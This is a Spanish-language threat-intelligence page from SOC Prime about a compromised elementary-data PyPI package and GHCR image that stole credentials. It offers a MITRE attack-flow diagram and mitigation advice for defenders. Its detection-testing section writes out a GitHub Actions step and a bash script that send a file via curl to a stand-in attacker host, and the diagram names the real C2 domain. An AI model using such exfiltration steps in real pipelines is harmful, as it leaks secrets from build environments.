SOC Prime Bias: Crítico

29 Abr 2026 17:42

Datos de Elementary comprometidos en PyPI y GHCR a través de lanzamiento falso de GitHub

Author Photo
SOC Prime Team linkedin icon Seguir
Datos de Elementary comprometidos en PyPI y GHCR a través de lanzamiento falso de GitHub
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Resumen

Una versión maliciosa del paquete de elementary-data Python, versión 0.23.3, fue subida a PyPI, mientras que una imagen de contenedor comprometida coincidente también fue enviada a GitHub Container Registry. El atacante insertó código malicioso en un flujo de trabajo de GitHub Actions, forjó un lanzamiento firmado y luego abusó del token del flujo de trabajo para publicar los artefactos con puerta trasera. El payload funcionaba como un ladrón de credenciales en tres etapas diseñado para recopilar secretos y exfiltrarlos a un dominio controlado por el atacante. Cualquier entorno que instalara el paquete afectado o descargara la última imagen del contenedor estaba expuesto a la posibilidad de compromiso.

Investigación

La investigación encontró que el ataque comenzó con un comentario en una solicitud de extracción abierta que se insertó directamente en un script de flujo de trabajo, permitiendo la inyección de script. Usando el GITHUB_TOKENdel flujo de trabajo, el atacante creó un commit de lanzamiento falso y activó el proceso de publicación, que luego distribuyó el paquete .wheel troyanizado y la imagen de Docker. El análisis mostró que un archivo malicioso .pth decodificó un envoltorio Base64, descifró el componente final de recolección y recolectó un amplio conjunto de credenciales antes de enviarlas a un dominio de comando y control personalizado a través de curl.

Mitigación

Los mantenedores del proyecto eliminaron la versión maliciosa del paquete de PyPI y borraron la imagen comprometida de GHCR antes de publicar un reemplazo limpio, la versión 0.23.4. StepSecurity agregó la versión maliciosa del paquete y el dominio controlado por el atacante a la lista de bloqueo de Harden-Runner y bloqueó el paquete durante la ejecución de la solicitud de extracción. Los desarrolladores deben fijar versiones exactas de paquetes y digests de imágenes, evitar depender de etiquetas flotantes y auditar las dependencias instaladas en busca de .pth archivos

inesperados.

Los defensores deben buscar la presencia de elementary.pth dentro de site-packages e identificar los sistemas que descargaron el digest de la imagen de Docker sospechosa. Las conexiones salientes al dominio de comando y control conocido deben bloquearse de inmediato. Los equipos de seguridad deben escanear estaciones de trabajo de desarrolladores y entornos de construcción en busca de material secreto expuesto, eliminar cualquier paquete comprometido y rotar las credenciales afectadas. Las líneas CI/CD también deben actualizarse para validar la procedencia de los paquetes y aplicar un fijado estricto de imágenes.

graph TB %% Class Definitions Section classDef action fill:#ffcc99 classDef tool fill:#cccccc classDef malware fill:#ff9999 %% Node definitions – Actions node_supply_chain[«<b>Acción</b> – <b>T1195.002 Compromiso de la Cadena de Suministro</b><br/>El atacante publica la versión maliciosa 0.23.3 de elementary-data en PyPI y sube una imagen Docker troyanizada a GHCR usando el pipeline legítimo del proyecto.»] class node_supply_chain action node_exploit_cred[«<b>Acción</b> – <b>T1212 Explotación para Acceso a Credenciales</b><br/>La inyección de script en un flujo de trabajo de GitHub Actions mediante un comentario manipulado ejecuta un stager curl | bash, aprovechando el GITHUB_TOKEN del repositorio para crear un commit de lanzamiento falsificado.»] class node_exploit_cred action node_implant_image[«<b>Acción</b> – <b>T1525 Implantar Imagen Interna</b><br/>La imagen Docker maliciosa (etiquetada latest) es descargada y ejecutada, proporcionando un entorno persistente malicioso.»] class node_implant_image action node_user_exec[«<b>Acción</b> – <b>T1204.003 Ejecución del Usuario: Imagen Maliciosa</b><br/>Los contenedores instanciados desde la imagen comprometida ejecutan automáticamente la carga al iniciarse.»] class node_user_exec action node_cred_files[«<b>Acción</b> – <b>T1552.001 Credenciales No Seguras: Credenciales en Archivos</b><br/>La carga útil recopila claves privadas SSH, credenciales de proveedores cloud, configuraciones de Docker y Kubernetes, y otros archivos secretos.»] class node_cred_files action node_private_keys[«<b>Acción</b> – <b>T1552.004 Credenciales No Seguras: Claves Privadas</b><br/>Recopilación específica de archivos de claves privadas desde directorios .ssh y wallets.»] class node_private_keys action node_archive[«<b>Acción</b> – <b>T1560 Archivar Datos Recopilados</b><br/>Los datos recopilados se comprimen en un archivo tar-gz.»] class node_archive action node_archive_lib[«<b>Acción</b> – <b>T1560.002 Archivo mediante Biblioteca</b><br/>Usa la biblioteca tar para crear trin.tar.gz.»] class node_archive_lib action node_obfusc[«<b>Acción</b> – <b>T1027.015 Archivos o Información Ofuscados: Compresión</b><br/>El archivo .pth malicioso está codificado en base64 y cifrado con XOR-MD5 para ocultar el código.»] class node_obfusc action node_pass_hash[«<b>Acción</b> – <b>T1550.002 Uso de Material de Autenticación Alternativo: Pass the Hash</b><br/>La carga utiliza cifrado XOR con flujo MD5 para ocultar sus etapas.»] class node_pass_hash action node_exfil[«<b>Acción</b> – <b>T1048 Exfiltración por Protocolo Alternativo</b><br/>El archivo se exfiltra mediante un único POST curl al dominio C2 igotnofriendsonlineorirl-imgonnakmslmao.skyhanni.cloud.»] class node_exfil action %% Node definitions – Tools tool_pypi[«<b>Herramienta</b> – <b>Nombre</b>: PyPI<br/><b>Tipo</b>: Repositorio de paquetes Python»] class tool_pypi tool tool_ghcr[«<b>Herramienta</b> – <b>Nombre</b>: GitHub Container Registry (GHCR)<br/><b>Tipo</b>: Registro de imágenes Docker»] class tool_ghcr tool tool_github_actions[«<b>Herramienta</b> – <b>Nombre</b>: GitHub Actions<br/><b>Tipo</b>: Motor de CI/CD»] class tool_github_actions tool tool_curl[«<b>Herramienta</b> – <b>Nombre</b>: curl<br/><b>Tipo</b>: Utilidad de línea de comandos para transferencia de datos»] class tool_curl tool tool_bash[«<b>Herramienta</b> – <b>Nombre</b>: bash<br/><b>Tipo</b>: Intérprete de shell»] class tool_bash tool %% Node definitions – Malware / Payload malware_docker_image[«<b>Malware</b> – <b>Nombre</b>: Imagen Docker Maliciosa<br/><b>Etiqueta</b>: latest»] class malware_docker_image malware malware_payload[«<b>Malware</b> – <b>Nombre</b>: Archivo .pth Payload<br/><b>Ofuscación</b>: Base64 + XOR-MD5»] class malware_payload malware %% Connections node_supply_chain –>|publica en| tool_pypi node_supply_chain –>|sube imagen a| tool_ghcr tool_ghcr –>|aloja| malware_docker_image node_exploit_cred –>|inyecta script en| tool_github_actions tool_github_actions –>|ejecuta| tool_curl tool_curl –>|redirige a| tool_bash tool_bash –>|ejecuta| malware_payload malware_docker_image –>|ejecutado por| node_implant_image node_implant_image –>|activa| node_user_exec node_user_exec –>|ejecuta| malware_payload malware_payload –>|recopila| node_cred_files node_cred_files –>|también recopila| node_private_keys node_cred_files –>|se pasa a| node_archive node_archive –>|usa| node_archive_lib node_archive_lib –>|produce| node_obfusc node_obfusc –>|usado por| node_pass_hash node_pass_hash –>|exfiltra mediante| node_exfil node_exfil –>|usa| tool_curl

Flujo de Ataque

## Ejecución de Simulación

Requisito previo: La Verificación Previa de Telemetría y Línea Base debe haber pasado.

Justificación: Esta sección detalla la ejecución precisa de la técnica del adversario (TTP) diseñada para activar la regla de detección. Los comandos y narrativas reflejan directamente los TTPs identificados y tienen como objetivo generar la telemetría exacta esperada por la lógica de detección.

  • Narrativa del Ataque y Comandos:
    Un atacante ha comprometido un repositorio que usa GitHub Actions para CI/CD. Agregan un paso malicioso al archivo del flujo de trabajo:

    - nombre: Exfiltrar datos
      ejecutar: |
        bash -c "curl --data-binary @/tmp/secret_data http://malicious.example.com/loot"

    Cuando el flujo de trabajo se ejecuta en el corredor de GitHub Actions, el árbol de procesos se ve como:

    1. sh -c bash -c "curl --data-binary @/tmp/secret_data http://malicious.example.com/loot"
    2. bash -c "curl --data-binary @/tmp/secret_data http://malicious.example.com/loot" (proceso padre)
    3. curl --data-binary @/tmp/secret_data http://malicious.example.com/loot (proceso hijo)

    The auditd registro para el paso 2 contiene una línea de comandos con ambos bash and curl --data-binary, satisfaciendo la condición Sigma.

  • Script de Prueba de Regresión:

    #!/usr/bin/env bash
    #
    # Simulate the malicious GitHub Actions step that should trigger the detection rule.
    # Creates a temporary file, writes dummy data, then exfiltrates it via curl wrapped in bash.
    
    set -euo pipefail
    
    # 1. Create dummy secret data
    tmpfile=$(mktemp /tmp/secret_data.XXXXXX)
    echo "sensitive_information_$(date +%s)" > "$tmpfile"
    
    # 2. Perform the exfiltration using the vulnerable pattern
    bash -c "curl --data-binary @$tmpfile http://malicious.example.com/loot"
    
    # 3. Output confirmation for the tester
    echo "Malicious exfiltration simulated; temp file $tmpfile should be deleted by cleanup."
  • Comandos de Limpieza:

    #!/usr/bin/env bash
    # Remove any temporary files created during the simulation
    rm -f /tmp/secret_data.*
    
    # Optionally, stop any lingering curl processes (should not be needed)
    pkill -f "curl --data-binary" || true